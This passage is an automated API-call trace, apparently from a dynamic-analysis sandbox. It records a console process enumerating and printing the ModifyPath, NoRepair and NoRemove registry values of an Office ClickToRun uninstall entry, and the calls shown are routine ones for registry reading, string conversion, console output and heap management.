_errno () returned 0xc4bb0 [0146.969] GetFileType (hFile=0x50) returned 0x1 [0146.969] lstrlenW (lpString="ModifyPath") returned 10 [0146.970] GetConsoleOutputCP () returned 0x1b5 [0146.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0146.970] GetConsoleOutputCP () returned 0x1b5 [0146.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0146.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0146.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.970] __iob_func () returned 0x7fefd702a80 [0146.970] _fileno (_File=0x7fefd702ab0) returned 1 [0146.970] _errno () returned 0xc4bb0 [0146.970] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.970] _errno () returned 0xc4bb0 [0146.970] GetFileType (hFile=0x50) returned 0x1 [0146.970] lstrlenW (lpString=" ") returned 4 [0146.970] GetConsoleOutputCP () returned 0x1b5 [0146.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.970] GetConsoleOutputCP () returned 0x1b5 [0146.970] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.970] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.970] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.971] __iob_func () returned 0x7fefd702a80 [0146.971] _fileno (_File=0x7fefd702ab0) returned 1 [0146.971] _errno () returned 0xc4bb0 [0146.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.971] _errno () returned 0xc4bb0 [0146.971] GetFileType (hFile=0x50) returned 0x1 [0146.971] lstrlenW (lpString="REG_SZ") returned 6 [0146.971] GetConsoleOutputCP () returned 0x1b5 [0146.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.971] GetConsoleOutputCP () returned 0x1b5 [0146.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.971] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.971] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.971] __iob_func () returned 0x7fefd702a80 [0146.971] _fileno (_File=0x7fefd702ab0) returned 1 [0146.971] _errno () returned 0xc4bb0 [0146.971] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.971] _errno () returned 0xc4bb0 [0146.971] GetFileType (hFile=0x50) returned 0x1 [0146.971] lstrlenW (lpString=" ") returned 4 [0146.971] GetConsoleOutputCP () returned 0x1b5 [0146.971] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.971] GetConsoleOutputCP () returned 0x1b5 [0146.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.972] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.972] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.972] __iob_func () returned 0x7fefd702a80 [0146.972] _fileno (_File=0x7fefd702ab0) returned 1 [0146.972] _errno () returned 0xc4bb0 [0146.972] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.972] _errno () returned 0xc4bb0 [0146.972] GetFileType (hFile=0x50) returned 0x1 [0146.972] lstrlenW (lpString="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us") returned 123 [0146.972] GetConsoleOutputCP () returned 0x1b5 [0146.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", cchWideChar=123, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 123 [0146.972] GetConsoleOutputCP () returned 0x1b5 [0146.972] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", cchWideChar=123, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\Program Files\\Common Files\\Microsoft Shared\\ClickToRun\\OfficeClickToRun.exe\" scenario=repair platform=x64 culture=en-us", lpUsedDefaultChar=0x0) returned 123 [0146.972] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 123 [0146.972] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.972] __iob_func () returned 0x7fefd702a80 [0146.972] _fileno (_File=0x7fefd702ab0) returned 1 [0146.972] _errno () returned 0xc4bb0 [0146.972] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.972] _errno () returned 0xc4bb0 [0146.972] GetFileType (hFile=0x50) returned 0x1 [0146.972] lstrlenW (lpString="\n") returned 1 [0146.973] GetConsoleOutputCP () returned 0x1b5 [0146.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.973] GetConsoleOutputCP () returned 0x1b5 [0146.973] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.973] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.973] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.973] GetProcessHeap () returned 0x2e0000 [0146.973] GetProcessHeap () returned 0x2e0000 [0146.973] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170) returned 1 [0146.973] GetProcessHeap () returned 0x2e0000 [0146.973] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd170) returned 0xfc [0146.973] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd170 | out: hHeap=0x2e0000) returned 1 [0146.973] RegEnumValueW (in: hKey=0x5c, dwIndex=0x2, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRepair", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.973] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.973] GetProcessHeap () returned 0x2e0000 [0146.973] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.973] GetProcessHeap () returned 0x2e0000 [0146.973] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.973] GetProcessHeap () returned 0x2e0000 [0146.973] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.973] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRepair", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.973] __iob_func () returned 0x7fefd702a80 [0146.973] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.973] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.973] _fileno (_File=0x7fefd702ab0) returned 1 [0146.974] _errno () returned 0xc4bb0 [0146.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.974] _errno () returned 0xc4bb0 [0146.974] GetFileType (hFile=0x50) returned 0x1 [0146.974] lstrlenW (lpString=" ") returned 4 [0146.974] GetConsoleOutputCP () returned 0x1b5 [0146.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.974] GetConsoleOutputCP () returned 0x1b5 [0146.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.974] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.974] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.974] lstrlenW (lpString="NoRepair") returned 8 [0146.974] __iob_func () returned 0x7fefd702a80 [0146.974] _fileno (_File=0x7fefd702ab0) returned 1 [0146.974] _errno () returned 0xc4bb0 [0146.974] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.974] _errno () returned 0xc4bb0 [0146.974] GetFileType (hFile=0x50) returned 0x1 [0146.974] lstrlenW (lpString="NoRepair") returned 8 [0146.974] GetConsoleOutputCP () returned 0x1b5 [0146.974] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.974] GetConsoleOutputCP () returned 0x1b5 [0146.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRepair", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRepair", lpUsedDefaultChar=0x0) returned 8 [0146.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.975] __iob_func () returned 0x7fefd702a80 [0146.975] _fileno (_File=0x7fefd702ab0) returned 1 [0146.975] _errno () returned 0xc4bb0 [0146.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.975] _errno () returned 0xc4bb0 [0146.975] GetFileType (hFile=0x50) returned 0x1 [0146.975] lstrlenW (lpString=" ") returned 4 [0146.975] GetConsoleOutputCP () returned 0x1b5 [0146.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.975] GetConsoleOutputCP () returned 0x1b5 [0146.975] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.975] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.975] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.975] __iob_func () returned 0x7fefd702a80 [0146.975] _fileno (_File=0x7fefd702ab0) returned 1 [0146.975] _errno () returned 0xc4bb0 [0146.975] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.975] _errno () returned 0xc4bb0 [0146.976] GetFileType (hFile=0x50) returned 0x1 [0146.976] lstrlenW (lpString="REG_DWORD") returned 9 [0146.976] GetConsoleOutputCP () returned 0x1b5 [0146.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.976] GetConsoleOutputCP () returned 0x1b5 [0146.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.976] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.976] __iob_func () returned 0x7fefd702a80 [0146.976] _fileno (_File=0x7fefd702ab0) returned 1 [0146.976] _errno () returned 0xc4bb0 [0146.976] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.976] _errno () returned 0xc4bb0 [0146.976] GetFileType (hFile=0x50) returned 0x1 [0146.976] lstrlenW (lpString=" ") returned 4 [0146.976] GetConsoleOutputCP () returned 0x1b5 [0146.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.976] GetConsoleOutputCP () returned 0x1b5 [0146.976] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.976] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.977] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.977] __iob_func () returned 0x7fefd702a80 [0146.977] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.977] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.977] _fileno (_File=0x7fefd702ab0) returned 1 [0146.977] _errno () returned 0xc4bb0 [0146.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.977] _errno () returned 0xc4bb0 [0146.977] GetFileType (hFile=0x50) returned 0x1 [0146.977] lstrlenW (lpString="0x0") returned 3 [0146.977] GetConsoleOutputCP () returned 0x1b5 [0146.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.977] GetConsoleOutputCP () returned 0x1b5 [0146.977] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.977] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.977] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.977] __iob_func () returned 0x7fefd702a80 [0146.977] _fileno (_File=0x7fefd702ab0) returned 1 [0146.977] _errno () returned 0xc4bb0 [0146.977] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.977] _errno () returned 0xc4bb0 [0146.977] GetFileType (hFile=0x50) returned 0x1 [0146.977] lstrlenW (lpString="\n") returned 1 [0146.977] GetConsoleOutputCP () returned 0x1b5 [0146.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.978] GetConsoleOutputCP () returned 0x1b5 [0146.978] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.978] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.978] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.978] GetProcessHeap () returned 0x2e0000 [0146.978] GetProcessHeap () returned 0x2e0000 [0146.978] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.978] GetProcessHeap () returned 0x2e0000 [0146.978] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.978] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.978] RegEnumValueW (in: hKey=0x5c, dwIndex=0x3, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="NoRemove", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.978] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.978] GetProcessHeap () returned 0x2e0000 [0146.978] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.978] GetProcessHeap () returned 0x2e0000 [0146.978] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.978] GetProcessHeap () returned 0x2e0000 [0146.978] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.978] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="NoRemove", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.978] __iob_func () returned 0x7fefd702a80 [0146.978] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.978] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.978] _fileno (_File=0x7fefd702ab0) returned 1 [0146.978] _errno () returned 0xc4bb0 [0146.978] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.979] _errno () returned 0xc4bb0 [0146.979] GetFileType (hFile=0x50) returned 0x1 [0146.979] lstrlenW (lpString=" ") returned 4 [0146.979] GetConsoleOutputCP () returned 0x1b5 [0146.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.979] GetConsoleOutputCP () returned 0x1b5 [0146.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.979] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.979] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.979] lstrlenW (lpString="NoRemove") returned 8 [0146.979] __iob_func () returned 0x7fefd702a80 [0146.979] _fileno (_File=0x7fefd702ab0) returned 1 [0146.979] _errno () returned 0xc4bb0 [0146.979] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.979] _errno () returned 0xc4bb0 [0146.979] GetFileType (hFile=0x50) returned 0x1 [0146.979] lstrlenW (lpString="NoRemove") returned 8 [0146.979] GetConsoleOutputCP () returned 0x1b5 [0146.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0146.979] GetConsoleOutputCP () returned 0x1b5 [0146.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="NoRemove", cchWideChar=8, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="NoRemove", lpUsedDefaultChar=0x0) returned 8 [0146.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 8 [0146.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.980] __iob_func () returned 0x7fefd702a80 [0146.980] _fileno (_File=0x7fefd702ab0) returned 1 [0146.980] _errno () returned 0xc4bb0 [0146.980] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.980] _errno () returned 0xc4bb0 [0146.980] GetFileType (hFile=0x50) returned 0x1 [0146.980] lstrlenW (lpString=" ") returned 4 [0146.980] GetConsoleOutputCP () returned 0x1b5 [0146.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.980] GetConsoleOutputCP () returned 0x1b5 [0146.980] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.980] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.980] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.981] __iob_func () returned 0x7fefd702a80 [0146.981] _fileno (_File=0x7fefd702ab0) returned 1 [0146.981] _errno () returned 0xc4bb0 [0146.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.981] _errno () returned 0xc4bb0 [0146.981] GetFileType (hFile=0x50) returned 0x1 [0146.981] lstrlenW (lpString="REG_DWORD") returned 9 [0146.981] GetConsoleOutputCP () returned 0x1b5 [0146.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.981] GetConsoleOutputCP () returned 0x1b5 [0146.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.981] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.981] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.981] __iob_func () returned 0x7fefd702a80 [0146.981] _fileno (_File=0x7fefd702ab0) returned 1 [0146.981] _errno () returned 0xc4bb0 [0146.981] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.981] _errno () returned 0xc4bb0 [0146.981] GetFileType (hFile=0x50) returned 0x1 [0146.981] lstrlenW (lpString=" ") returned 4 [0146.981] GetConsoleOutputCP () returned 0x1b5 [0146.981] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.981] GetConsoleOutputCP () returned 0x1b5 [0146.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.982] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.982] __iob_func () returned 0x7fefd702a80 [0146.982] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.982] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x0") returned 3 [0146.982] _fileno (_File=0x7fefd702ab0) returned 1 [0146.982] _errno () returned 0xc4bb0 [0146.982] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.982] _errno () returned 0xc4bb0 [0146.982] GetFileType (hFile=0x50) returned 0x1 [0146.982] lstrlenW (lpString="0x0") returned 3 [0146.982] GetConsoleOutputCP () returned 0x1b5 [0146.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.982] GetConsoleOutputCP () returned 0x1b5 [0146.982] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x0", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x0", lpUsedDefaultChar=0x0) returned 3 [0146.982] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.982] 